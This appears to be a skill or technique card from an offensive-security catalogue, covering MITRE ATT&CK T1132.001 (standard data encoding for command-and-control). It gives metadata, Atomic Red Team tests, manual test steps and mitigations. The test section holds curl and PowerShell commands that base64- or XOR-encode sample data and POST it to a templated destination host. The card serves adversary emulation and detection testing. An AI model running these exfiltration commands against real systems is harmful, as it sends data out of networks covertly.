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Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect.
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macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
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基于 SOC 职业分类
| name | T1132.001_standard-encoding |
| description | Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. |
| category | configuration |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1132.001","command-and-control","esxi","linux","windows","macos","sub-technique"] |
| technique_id | T1132.001 |
| tactic | command-and-control |
| all_tactics | ["command-and-control"] |
| platforms | ["ESXi","Linux","Windows","macOS"] |
| mitre_url | https://attack.mitre.org/techniques/T1132/001 |
| tech_stack | ["esxi","linux","windows","macos"] |
| cwe_ids | ["CWE-300"] |
| chains_with | ["T1132","T1132.002"] |
| prerequisites | ["T1132"] |
| severity_boost | {"T1132":"Chain with T1132 for deeper attack path","T1132.002":"Chain with T1132.002 for deeper attack path"} |
Sub-technique of: T1132
Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME. Some data encoding systems may also result in data compression, such as gzip.
Platforms: ESXi, Linux, Windows, macOS
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Utilizing a common technique for posting base64 encoded data.
Supported Platforms: macos, linux
echo -n 111-11-1111 | base64
curl -XPOST #{base64_data}.#{destination_url}
Utilizing a common technique for posting base64 encoded data.
Supported Platforms: linux
echo -n 111-11-1111 | b64encode -r -
curl -XPOST #{base64_data}.#{destination_url}
Dependencies:
XOR encodes the data with a XOR key. Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f
Supported Platforms: windows
$plaintext = ([system.Text.Encoding]::UTF8.getBytes("#{plaintext}"))
$key = "#{key}"
$cyphertext = @();
for ($i = 0; $i -lt $plaintext.Count; $i++) {
$cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];
}
$cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)
[System.Net.ServicePointManager]::Expect100Continue = $false
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Standard Encoding by examining the target platforms (ESXi, Linux, Windows).
Assess Existing Defenses: Review whether mitigations for T1132.001 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.
| Finding | Severity | Impact |
|---|---|---|
| Standard Encoding technique applicable | Low | Command And Control |
| CWE ID | Title |
|---|---|
| CWE-300 | Channel Accessible by Non-Endpoint |